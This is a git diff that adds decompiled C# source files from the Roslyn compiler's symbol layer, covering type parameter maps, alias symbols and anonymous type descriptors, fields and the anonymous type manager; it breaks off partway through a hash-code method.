a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AbstractTypeParameterMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AbstractTypeParameterMap.cs new file mode 100644 index 0000000..ac6c96a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AbstractTypeParameterMap.cs @@ -0,0 +1,42 @@ +using System.Collections.Generic; +using System.Diagnostics; +using System.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal abstract class AbstractTypeParameterMap : AbstractTypeMap +{ + protected readonly SmallDictionary Mapping; + + protected AbstractTypeParameterMap(SmallDictionary mapping) + { + Mapping = mapping; + } + + protected sealed override TypeWithAnnotations SubstituteTypeParameter(TypeParameterSymbol typeParameter) + { + TypeWithAnnotations result = default(TypeWithAnnotations); + if (Mapping.TryGetValue(typeParameter, ref result)) + { + return result; + } + return TypeWithAnnotations.Create(typeParameter); + } + + private string GetDebuggerDisplay() + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + StringBuilder stringBuilder = new StringBuilder("["); + stringBuilder.Append(GetType().Name); + Enumerator enumerator = Mapping.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + stringBuilder.Append(" ").Append(current.Key).Append(":") + .Append(current.Value.Type); + } + return stringBuilder.Append("]").ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AccessibilityExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AccessibilityExtensions.cs new file mode 100644 index 0000000..c400dd2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AccessibilityExtensions.cs @@ -0,0 +1,18 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class AccessibilityExtensions +{ + public static bool HasProtected(this Accessibility accessibility) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Invalid comparison between Unknown and I4 + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if (accessibility - 2 <= 1 || (int)accessibility == 5) + { + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AliasSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AliasSymbol.cs new file mode 100644 index 0000000..89f46db --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AliasSymbol.cs @@ -0,0 +1,142 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class AliasSymbol : Symbol +{ + private readonly ImmutableArray _locations; + + private readonly string _aliasName; + + private readonly bool _isExtern; + + private readonly Symbol _containingSymbol; + + public sealed override string Name => _aliasName; + + public override SymbolKind Kind => (SymbolKind)0; + + public abstract NamespaceOrTypeSymbol Target { get; } + + public override ImmutableArray Locations => _locations; + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + if (!_isExtern) + { + return Symbol.GetDeclaringSyntaxReferenceHelper(_locations); + } + return Symbol.GetDeclaringSyntaxReferenceHelper(_locations); + } + } + + public sealed override bool IsExtern => _isExtern; + + public override bool IsSealed => false; + + public override bool IsAbstract => false; + + public override bool IsOverride => false; + + public override bool IsVirtual => false; + + public override bool IsStatic => false; + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData => null; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public sealed override Symbol ContainingSymbol => _containingSymbol; + + internal abstract override bool RequiresCompletion { get; } + + protected AliasSymbol(string aliasName, Symbol containingSymbol, ImmutableArray locations, bool isExtern) + { + _locations = locations; + _aliasName = aliasName; + _isExtern = isExtern; + _containingSymbol = containingSymbol; + } + + internal static AliasSymbol CreateGlobalNamespaceAlias(NamespaceSymbol globalNamespace) + { + return new AliasSymbolFromResolvedTarget(globalNamespace, "global", globalNamespace, ImmutableArray.Empty, isExtern: false); + } + + internal static AliasSymbol CreateCustomDebugInfoAlias(NamespaceOrTypeSymbol targetSymbol, SyntaxToken aliasToken, Symbol containingSymbol, bool isExtern) + { + return new AliasSymbolFromResolvedTarget(targetSymbol, ((SyntaxToken)(ref aliasToken)).ValueText, containingSymbol, ImmutableArray.Create(((SyntaxToken)(ref aliasToken)).GetLocation()), isExtern); + } + + internal AliasSymbol ToNewSubmission(CSharpCompilation compilation) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + NamespaceOrTypeSymbol target = Target; + if ((int)target.Kind != 12) + { + return this; + } + NamespaceSymbol globalNamespace = compilation.GlobalNamespace; + return new AliasSymbolFromResolvedTarget(Imports.ExpandPreviousSubmissionNamespace((NamespaceSymbol)target, globalNamespace), Name, ContainingSymbol, _locations, _isExtern); + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArg a) + { + return visitor.VisitAlias(this, a); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitAlias(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitAlias(this); + } + + internal abstract NamespaceOrTypeSymbol GetAliasTarget(ConsList? basesBeingResolved); + + internal void CheckConstraints(BindingDiagnosticBag diagnostics) + { + if (Target is TypeSymbol type && Locations.Length > 0) + { + TypeConversions typeConversions = ContainingAssembly.CorLibrary.TypeConversions; + type.CheckAllConstraints(DeclaringCompilation, typeConversions, GetFirstLocation(), diagnostics); + } + } + + public override bool Equals(Symbol? obj, TypeCompareKind compareKind) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == obj) + { + return true; + } + if ((object)obj == null) + { + return false; + } + if (obj is AliasSymbol aliasSymbol && object.Equals(TryGetFirstLocation(), aliasSymbol.TryGetFirstLocation())) + { + return Symbol.Equals(ContainingSymbol, aliasSymbol.ContainingSymbol, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return ((object)TryGetFirstLocation())?.GetHashCode() ?? Name.GetHashCode(); + } + + protected override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.AliasSymbol(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AliasSymbolFromResolvedTarget.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AliasSymbolFromResolvedTarget.cs new file mode 100644 index 0000000..1bdd8d7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AliasSymbolFromResolvedTarget.cs @@ -0,0 +1,24 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class AliasSymbolFromResolvedTarget : AliasSymbol +{ + private readonly NamespaceOrTypeSymbol _aliasTarget; + + public override NamespaceOrTypeSymbol Target => _aliasTarget; + + internal override bool RequiresCompletion => false; + + internal AliasSymbolFromResolvedTarget(NamespaceOrTypeSymbol target, string aliasName, Symbol containingSymbol, ImmutableArray locations, bool isExtern) + : base(aliasName, containingSymbol, locations, isExtern) + { + _aliasTarget = target; + } + + internal override NamespaceOrTypeSymbol GetAliasTarget(ConsList? basesBeingResolved) + { + return _aliasTarget; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AliasSymbolFromSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AliasSymbolFromSyntax.cs new file mode 100644 index 0000000..150c79a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AliasSymbolFromSyntax.cs @@ -0,0 +1,137 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class AliasSymbolFromSyntax : AliasSymbol +{ + private readonly SyntaxReference _directive; + + private SymbolCompletionState _state; + + private NamespaceOrTypeSymbol? _aliasTarget; + + private BindingDiagnosticBag? _aliasTargetDiagnostics; + + public override NamespaceOrTypeSymbol Target => GetAliasTarget(null); + + internal BindingDiagnosticBag AliasTargetDiagnostics + { + get + { + GetAliasTarget(null); + return _aliasTargetDiagnostics; + } + } + + internal override bool RequiresCompletion => true; + + internal AliasSymbolFromSyntax(SourceNamespaceSymbol containingSymbol, UsingDirectiveSyntax syntax) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = syntax.Alias.Name.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + identifier = syntax.Alias.Name.Identifier; + base._002Ector(valueText, containingSymbol, ImmutableArray.Create(((SyntaxToken)(ref identifier)).GetLocation()), isExtern: false); + _directive = syntax.GetReference(); + } + + internal AliasSymbolFromSyntax(SourceNamespaceSymbol containingSymbol, ExternAliasDirectiveSyntax syntax) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = syntax.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + identifier = syntax.Identifier; + base._002Ector(valueText, containingSymbol, ImmutableArray.Create(((SyntaxToken)(ref identifier)).GetLocation()), isExtern: true); + _directive = syntax.GetReference(); + } + + internal override NamespaceOrTypeSymbol GetAliasTarget(ConsList? basesBeingResolved) + { + if (!_state.HasComplete(CompletionPart.StartBaseType)) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + NamespaceOrTypeSymbol value = (IsExtern ? ResolveExternAliasTarget(instance) : ResolveAliasTarget((UsingDirectiveSyntax)(object)_directive.GetSyntax(default(CancellationToken)), instance, basesBeingResolved)); + if ((object)Interlocked.CompareExchange(ref _aliasTarget, value, null) == null) + { + Interlocked.Exchange(ref _aliasTargetDiagnostics, instance); + _state.NotePartComplete(CompletionPart.StartBaseType); + } + else + { + ((BindingDiagnosticBag)(object)instance).Free(); + _state.SpinWaitComplete(CompletionPart.StartBaseType, default(CancellationToken)); + } + } + return _aliasTarget; + } + + private NamespaceSymbol ResolveExternAliasTarget(BindingDiagnosticBag diagnostics) + { + if (!ContainingSymbol.DeclaringCompilation.GetExternAliasTarget(Name, out NamespaceSymbol @namespace)) + { + diagnostics.Add(ErrorCode.ERR_BadExternAlias, GetFirstLocation(), Name); + } + return @namespace; + } + + private NamespaceOrTypeSymbol ResolveAliasTarget(UsingDirectiveSyntax usingDirective, BindingDiagnosticBag diagnostics, ConsList? basesBeingResolved) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0140: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken unsafeKeyword = usingDirective.UnsafeKeyword; + SyntaxToken val = default(SyntaxToken); + if (unsafeKeyword != val) + { + MessageID.IDS_FeatureUsingTypeAlias.CheckFeatureAvailability(diagnostics, usingDirective.UnsafeKeyword); + } + else if (!(usingDirective.NamespaceOrType is NameSyntax)) + { + MessageID.IDS_FeatureUsingTypeAlias.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)usingDirective.NamespaceOrType); + } + TypeSyntax namespaceOrType = usingDirective.NamespaceOrType; + BinderFlags binderFlags = BinderFlags.SuppressConstraintChecks | BinderFlags.SuppressObsoleteChecks; + SyntaxToken unsafeKeyword2 = usingDirective.UnsafeKeyword; + val = default(SyntaxToken); + if (unsafeKeyword2 != val) + { + val = usingDirective.UnsafeKeyword; + this.CheckUnsafeModifier(DeclarationModifiers.Unsafe, ((SyntaxToken)(ref val)).GetLocation(), diagnostics); + binderFlags |= BinderFlags.UnsafeRegion; + } + else if (!DeclaringCompilation.IsFeatureEnabled(MessageID.IDS_FeatureUsingTypeAlias)) + { + binderFlags |= BinderFlags.UnsafeRegion; + } + Binder.NamespaceOrTypeOrAliasSymbolWithAnnotations namespaceOrTypeOrAliasSymbolWithAnnotations = ContainingSymbol.DeclaringCompilation.GetBinderFactory(namespaceOrType.SyntaxTree).GetBinder((SyntaxNode)(object)namespaceOrType).WithAdditionalFlags(binderFlags) + .BindNamespaceOrTypeSymbol(namespaceOrType, diagnostics, basesBeingResolved); + if (usingDirective.NamespaceOrType is NullableTypeSyntax nullableTypeSyntax && namespaceOrTypeOrAliasSymbolWithAnnotations.TypeWithAnnotations.NullableAnnotation == NullableAnnotation.Annotated && (namespaceOrTypeOrAliasSymbolWithAnnotations.TypeWithAnnotations.Type?.IsReferenceType ?? false)) + { + val = nullableTypeSyntax.QuestionToken; + diagnostics.Add(ErrorCode.ERR_BadNullableReferenceTypeInUsingAlias, ((SyntaxToken)(ref val)).GetLocation()); + } + NamespaceOrTypeSymbol namespaceOrTypeSymbol = namespaceOrTypeOrAliasSymbolWithAnnotations.NamespaceOrTypeSymbol; + if (namespaceOrTypeSymbol is TypeSymbol { IsNativeIntegerWrapperType: not false } && (usingDirective.NamespaceOrType.IsNint || usingDirective.NamespaceOrType.IsNuint)) + { + MessageID.IDS_FeatureUsingTypeAlias.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)usingDirective.NamespaceOrType); + } + return namespaceOrTypeSymbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AnonymousTypeDescriptor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AnonymousTypeDescriptor.cs new file mode 100644 index 0000000..ec28da4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AnonymousTypeDescriptor.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal readonly struct AnonymousTypeDescriptor(ImmutableArray fields, Location location) : IEquatable +{ + public readonly Location Location = location; + + public readonly ImmutableArray Fields = fields; + + public readonly string Key = ComputeKey(fields, (AnonymousTypeField f) => f.Name); + + internal static string ComputeKey(ImmutableArray fields, Func getName) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + instance.Builder.Append('|'); + instance.Builder.Append(getName(current)); + } + return instance.ToStringAndFree(); + } + + [Conditional("DEBUG")] + internal void AssertIsGood() + { + ImmutableArray.Enumerator enumerator = Fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + _ = enumerator.Current; + } + } + + public bool Equals(AnonymousTypeDescriptor desc) + { + return Equals(desc, (TypeCompareKind)0); + } + + internal bool Equals(AnonymousTypeDescriptor other, TypeCompareKind comparison) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (Key != other.Key) + { + return false; + } + return ImmutableArrayExtensions.SequenceEqual(Fields, other.Fields, comparison, (Func)((AnonymousTypeField x, AnonymousTypeField y, TypeCompareKind comparison2) => AnonymousTypeField.Equals(in x, in y, comparison2))); + } + + public override bool Equals(object? obj) + { + if (obj is AnonymousTypeDescriptor) + { + return Equals((AnonymousTypeDescriptor)obj, (TypeCompareKind)0); + } + return false; + } + + public override int GetHashCode() + { + return Key.GetHashCode(); + } + + internal AnonymousTypeDescriptor WithNewFieldsTypes(ImmutableArray newFieldTypes) + { + return new AnonymousTypeDescriptor(ImmutableArrayExtensions.ZipAsArray(Fields, newFieldTypes, (Func)((AnonymousTypeField field, TypeWithAnnotations type) => field.WithType(type))), Location); + } + + internal AnonymousTypeDescriptor SubstituteTypes(AbstractTypeMap map, out bool changed) + { + ImmutableArray immutableArray = ImmutableArrayExtensions.SelectAsArray(Fields, (Func)((AnonymousTypeField f) => f.TypeWithAnnotations)); + ImmutableArray immutableArray2 = map.SubstituteTypes(immutableArray); + changed = immutableArray != immutableArray2; + if (!changed) + { + return this; + } + return WithNewFieldsTypes(immutableArray2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AnonymousTypeField.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AnonymousTypeField.cs new file mode 100644 index 0000000..f302764 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AnonymousTypeField.cs @@ -0,0 +1,66 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal readonly struct AnonymousTypeField +{ + public readonly string Name; + + public readonly Location Location; + + public readonly TypeWithAnnotations TypeWithAnnotations; + + public readonly RefKind RefKind; + + public readonly ScopedKind Scope; + + public readonly ConstantValue? DefaultValue; + + public readonly bool IsParams; + + public readonly bool HasUnscopedRefAttribute; + + public TypeSymbol Type => TypeWithAnnotations.Type; + + public AnonymousTypeField(string name, Location location, TypeWithAnnotations typeWithAnnotations, RefKind refKind, ScopedKind scope, ConstantValue? defaultValue = null, bool isParams = false, bool hasUnscopedRefAttribute = false) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + Name = name; + Location = location; + TypeWithAnnotations = typeWithAnnotations; + RefKind = refKind; + Scope = scope; + DefaultValue = defaultValue; + IsParams = isParams; + HasUnscopedRefAttribute = hasUnscopedRefAttribute; + } + + public AnonymousTypeField WithType(TypeWithAnnotations type) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return new AnonymousTypeField(Name, Location, type, RefKind, Scope, DefaultValue, IsParams, HasUnscopedRefAttribute); + } + + internal static bool Equals(in AnonymousTypeField x, in AnonymousTypeField y, TypeCompareKind comparison) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + if (x.TypeWithAnnotations.Equals(y.TypeWithAnnotations, comparison) && x.RefKind == y.RefKind && x.Scope == y.Scope && x.DefaultValue == y.DefaultValue && x.IsParams == y.IsParams) + { + return x.HasUnscopedRefAttribute == y.HasUnscopedRefAttribute; + } + return false; + } + + [Conditional("DEBUG")] + internal void AssertIsGood() + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AnonymousTypeManager.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AnonymousTypeManager.cs new file mode 100644 index 0000000..e190cf2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AnonymousTypeManager.cs @@ -0,0 +1,2466 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class AnonymousTypeManager : CommonAnonymousTypeManager +{ + private sealed class AnonymousTypeConstructorSymbol : SynthesizedMethodBase + { + private readonly ImmutableArray _parameters; + + internal override bool HasSpecialName => true; + + protected override bool HasSetsRequiredMembersImpl => false; + + public override MethodKind MethodKind => (MethodKind)1; + + public override bool ReturnsVoid => true; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(base.Manager.System_Void); + + public override ImmutableArray Parameters => _parameters; + + public override bool IsOverride => false; + + internal override bool IsMetadataFinal => false; + + public override ImmutableArray Locations => ContainingSymbol.Locations; + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = CreateBoundNodeFactory(compilationState, diagnostics); + int parameterCount = ParameterCount; + BoundStatement[] array = new BoundStatement[parameterCount + 2]; + int num = 0; + BoundExpression boundExpression = Binder.GenerateBaseParameterlessConstructorInitializer(this, diagnostics); + if (boundExpression == null) + { + return; + } + array[num++] = syntheticBoundNodeFactory.ExpressionStatement(boundExpression); + if (parameterCount > 0) + { + AnonymousTypeTemplateSymbol anonymousTypeTemplateSymbol = (AnonymousTypeTemplateSymbol)ContainingType; + for (int i = 0; i < ParameterCount; i++) + { + array[num++] = syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), anonymousTypeTemplateSymbol.Properties[i].BackingField), syntheticBoundNodeFactory.Parameter(_parameters[i])); + } + } + array[num++] = syntheticBoundNodeFactory.Return(); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(array)); + } + + internal AnonymousTypeConstructorSymbol(NamedTypeSymbol container, ImmutableArray properties) + : base(container, ".ctor") + { + int length = properties.Length; + if (length > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + PropertySymbol propertySymbol = properties[i]; + instance.Add(SynthesizedParameterSymbol.Create(this, propertySymbol.TypeWithAnnotations, i, (RefKind)0, propertySymbol.Name, (ScopedKind)0)); + } + _parameters = instance.ToImmutableAndFree(); + } + else + { + _parameters = ImmutableArray.Empty; + } + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + } + + private sealed class AnonymousTypePropertyGetAccessorSymbol : SynthesizedMethodBase + { + private readonly AnonymousTypePropertySymbol _property; + + internal override bool HasSpecialName => true; + + public override MethodKind MethodKind => (MethodKind)11; + + public override bool ReturnsVoid => false; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => _property.TypeWithAnnotations; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override Symbol AssociatedSymbol => _property; + + public override ImmutableArray Locations => _property.Locations; + + public override bool IsOverride => false; + + internal override bool IsMetadataFinal => false; + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = CreateBoundNodeFactory(compilationState, diagnostics); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), _property.BackingField)))); + } + + internal AnonymousTypePropertyGetAccessorSymbol(AnonymousTypePropertySymbol property) + : base(property.ContainingType, SourcePropertyAccessorSymbol.GetAccessorName(property.Name, getNotSet: true, isWinMdOutput: false)) + { + _property = property; + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + } + } + + private sealed class AnonymousTypeEqualsMethodSymbol : SynthesizedMethodBase + { + private readonly ImmutableArray _parameters; + + internal override bool HasSpecialName => false; + + public override MethodKind MethodKind => (MethodKind)10; + + public override bool ReturnsVoid => false; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(base.Manager.System_Boolean); + + public override ImmutableArray Parameters => _parameters; + + public override bool IsOverride => true; + + internal override bool IsMetadataFinal => false; + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + AnonymousTypeManager manager = ((AnonymousTypeTemplateSymbol)ContainingType).Manager; + SyntheticBoundNodeFactory syntheticBoundNodeFactory = CreateBoundNodeFactory(compilationState, diagnostics); + AnonymousTypeTemplateSymbol anonymousTypeTemplateSymbol = (AnonymousTypeTemplateSymbol)ContainingType; + BoundAssignmentOperator store; + BoundLocal boundLocal = syntheticBoundNodeFactory.StoreToTemp(syntheticBoundNodeFactory.As(syntheticBoundNodeFactory.Parameter(_parameters[0]), anonymousTypeTemplateSymbol), out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundStatement boundStatement = syntheticBoundNodeFactory.ExpressionStatement(store); + BoundExpression boundExpression = syntheticBoundNodeFactory.Binary(BinaryOperatorKind.ObjectNotEqual, manager.System_Boolean, syntheticBoundNodeFactory.Convert(manager.System_Object, boundLocal), syntheticBoundNodeFactory.Null(manager.System_Object)); + if (anonymousTypeTemplateSymbol.Properties.Length > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(anonymousTypeTemplateSymbol.Properties.Length); + ImmutableArray.Enumerator enumerator = anonymousTypeTemplateSymbol.Properties.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnonymousTypePropertySymbol current = enumerator.Current; + instance.Add(current.BackingField); + } + boundExpression = MethodBodySynthesizer.GenerateFieldEquals(boundExpression, boundLocal, instance, syntheticBoundNodeFactory); + instance.Free(); + } + boundExpression = syntheticBoundNodeFactory.LogicalOr(syntheticBoundNodeFactory.ObjectEqual(syntheticBoundNodeFactory.This(), boundLocal), boundExpression); + BoundStatement boundStatement2 = syntheticBoundNodeFactory.Return(boundExpression); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(ImmutableArray.Create(boundLocal.LocalSymbol), boundStatement, boundStatement2)); + } + + internal AnonymousTypeEqualsMethodSymbol(NamedTypeSymbol container) + : base(container, "Equals") + { + _parameters = ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(base.Manager.System_Object), 0, (RefKind)0, "value", (ScopedKind)0)); + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return true; + } + } + + private sealed class AnonymousTypeGetHashCodeMethodSymbol : SynthesizedMethodBase + { + internal override bool HasSpecialName => false; + + public override MethodKind MethodKind => (MethodKind)10; + + public override bool ReturnsVoid => false; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(base.Manager.System_Int32); + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override bool IsOverride => true; + + internal override bool IsMetadataFinal => false; + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + AnonymousTypeManager manager = ((AnonymousTypeTemplateSymbol)ContainingType).Manager; + SyntheticBoundNodeFactory syntheticBoundNodeFactory = CreateBoundNodeFactory(compilationState, diagnostics); + AnonymousTypeTemplateSymbol anonymousTypeTemplateSymbol = (AnonymousTypeTemplateSymbol)ContainingType; + int num = 0; + ImmutableArray.Enumerator enumerator = anonymousTypeTemplateSymbol.Properties.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnonymousTypePropertySymbol current = enumerator.Current; + num = num * -1521134295 + Hash.GetFNVHashCode(current.BackingField.Name); + } + BoundExpression boundExpression = syntheticBoundNodeFactory.Literal(num); + MethodSymbol system_Collections_Generic_EqualityComparer_T__GetHashCode = manager.System_Collections_Generic_EqualityComparer_T__GetHashCode; + MethodSymbol system_Collections_Generic_EqualityComparer_T__get_Default = manager.System_Collections_Generic_EqualityComparer_T__get_Default; + BoundLiteral boundHashFactor = null; + for (int i = 0; i < anonymousTypeTemplateSymbol.Properties.Length; i++) + { + boundExpression = MethodBodySynthesizer.GenerateHashCombine(boundExpression, system_Collections_Generic_EqualityComparer_T__GetHashCode, system_Collections_Generic_EqualityComparer_T__get_Default, ref boundHashFactor, syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), 